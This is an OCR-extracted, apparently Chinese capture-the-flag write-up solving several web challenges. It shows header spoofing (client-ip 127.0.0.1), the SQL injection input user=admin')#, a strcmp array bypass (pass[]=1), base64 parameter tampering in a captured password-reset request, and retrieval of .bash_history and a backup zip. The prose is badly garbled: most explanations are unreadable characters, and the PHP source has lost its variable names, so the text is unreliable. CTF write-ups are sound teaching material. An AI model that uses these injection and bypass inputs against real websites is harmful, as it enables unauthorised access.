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HAMTE, #aREBEAMMBER", EHTTPERLFHMAMMYE client-ip: 127.0.0.1
Google Chrome## # ModHeader

Request Headers

client-ip 127.0.0.1 X
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nctf{happy_http_headers}
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Secure Web Login

Username ansesnns v

Source

HARE)E, APZMZFEEEY, B )FEEAR: You are not admin! , A7 Source BJ LFE M T IEAG
/ EHEBEFHTML G5

if ( [user] [pass]) {
/[ BB IR
md5 (trim( [pass]));
"select user from ctf where (user='" . . "") and (pw=""
echo '</br>" . 5

mysql_fetch_array(mysql_query( ));

if ( [user] "admin") {
echo "<p>|_0gged 1n| -Flag:******************** </p>";

[user] "admin") {
echo("<p>You are not admin!</p>");
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SHARIG: HHF4L (user) N admin” L& md5Sin % j5 KA E, B AR RDY.
FERERET SRENBEETERERE, %X Google Chromel) i #F HackBarty it 77 it % 79 £2id 25 55 H1 W -

LOAD URL SPLIT URL EXECUTE URL
URL
http://chinalover.sinaapp.com/index.php

Enable POST

Body
user=admin’ )#&pass=pass

R K 515 2flag.

Secure Web Login
Logged inl! flag:nctf{ni_ye_hui_sql?}

admin

Username =00 esssssss 23

Source

pass check
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['pass'];
5/ B RS TR T
if (isset( )) {
if (@!strcmp( 5 )) {
echo "flag:nctf{*}";

} else {

echo "the pass is wrong!";

1
J

} else {

echo "please input pass!";
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LOAD URL SPLIT URL EXECUTE URL sqLl X35 LFI

http://chinalover.sinaapp.com/web21/
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Enable POST application/x-www-form-urlencoded

Body
pass[]=1

£ Google Chromeifdiff HackBar+ #4i&f£%: pass[]=1, RIS Zlflag.

flag:nctf{stremp_is_n0t_3afe}
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function noother_says correct(
i
ord('1");
ord('9");
for ( 9; strlen( );
ord( {$i});
if (( ) (

return false;

)i
return '54975581388" ;

Vkokk kKK T .
3

if (noother_says correct( ["key']1))

)

‘access denied';



http://chinalover.sinaapp.com/web12/index.php
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FEIREYSE 54975581388
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¥numberfEFE 168 B i (ZEL G4 , FF5RERE], BB T numberfi A 5 A B+ “1-97:

EMI A IEGETIE S, 5 %flag.

The flag is:nctf{follow_your_dream}
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HEEHARAKS: admin HFEG
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I5iERS: 1234
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HAMT G, KEEE% H ctfuser’, HARREFENY, HIERSNEESTHRKSZEL MM ITUELHBEH A admin®, 2R E B %D
Ja, #RR“error’;

http nctf.nuptzj.cn/webl3/index.php?userl=Y3RmdXNlcg
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fERbHEA & Bl Base644mty, 7E4tBaseb4i%iY, EiRN: ctfuser, Ki“admin”i#tiTBase644iiy, 152 YWRtaws= .

/ Request to http://nctf.nuptzj.cn:80 [220.181.136.41]

Forward Drop Intercept is on Action

LRaw.. Params Headers Hex
POST /webl3/index.php?userl=Y3RmdXNlcg== HTTP/1l.1
Host: nctf.nuptzj.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;qgq=0.9,*/*;g=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;gq=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Connection: close
Referer: http://nctf.nuptzj.cn/webl3/index.php?userl=Y3RmdXNlcg==
Upgrade-Insecure-Requests: 1

user=ctfuser&newpass=1234&vcode=1234

{3 FBurp SuitedM BB R, Buser KIEEHA YWRtaws= &K 5 HuserfI{EEECHA admin , RZEHEEE, B52ag.

flag is:ncti{reset_password_often_have_vuln}

{RBIKS . ctiuser

TS

KRS : 1234
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class just4fun

{

)i
if (isset( ['pass'])) {

EE
if (get_magic_quotes _gpc()) {

stripslashes( )

unserialize( )
if ($0) {

secret PEt e

if ( secret enter)

echo "Congratulation! Here is my secret: secret;
else
echo "Oh no... You can't fool me";

else echo "are you trolling?";
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SQL Injection
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PATJES 2 1bc29b36F623bas82aaf6724fd3b16718.php , 2RV iZHbht, Bin: “FEMGIAIA A ISHR L X, X BEH A #%
B, TIPERBZEE", RRTPELHE, BEHTTPER L CH:

GET http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b 367621
Status: HTTP/1.1 200 OK

Request Headers

Accept text/html application/xhtml+xml,application/xml;q=0.9 image/webp,image/apng,*/*;q=0.8
Upgrade-Insecure-Requests 1

User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecke

Response Headers

Connection keep-alive

Content-Encoding gzip

Content-Type text/html

Date Sun, 04 Aug 2019 07:47:56 GMT
Server nginx

tip history of bash
Transfer-Encoding chunked

Via mnmaz


http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php

KI tip: history of bash , Bash (GNU Bourne-Again Shell) & ¥ £ Linux& 1T iR 2kiAShell, FrLAIRR A a4,
FELinuxsF &l ar 17 L ar S BB N:  vi.bash_hitsory , ZiREMHBE N A4

http://teamxlc.sinaapp.com/web3/bOb0ad119f425408fc3d45253137d33d/.bash_history

BHP IS4 zip -r flagbak.zip ./*, TF#flagbak.zip:

http://teamxlc.sinaapp.com/web3/bOb0ad119f425408fc3d45253137d33d/flagbak.zip

Ik J5 1 Elflag.

B flag.tet
L flagbak.zip
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<!--foreach($ _GET as $key => $value){
$8key = $value;

Iy
if ($name == "meizijiu233"){
echo $flag;

}-->

ARG AT Ekey I T — M iBEL BEvalue EMENX AN T L BB RS . i Hforeachdim iU HIME, FEREIRE
BB GIEANTE, SUHPHRBEENTENE. FER~ETEEE SR

http://chinalover.sinaapp.com/web24/?name=meizijiu233

B RN HITCETE S, BEBEHMERT $tkey = $name , $value = meizijiu233, KT $name == "meizijiu233", AT
LL15 2lflag.

nctf{AD3FBD8D5928693CA499347C91570AE6}
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ZESHTERERRAGRE: SSEAAY, extract)BEERAAL, parse_str()REEHAANZ, import_request_variables()f#
AARY, FaTEREEFEME.
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flag{zhaowomen}
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ERR_CONMNECTION_REFUSED
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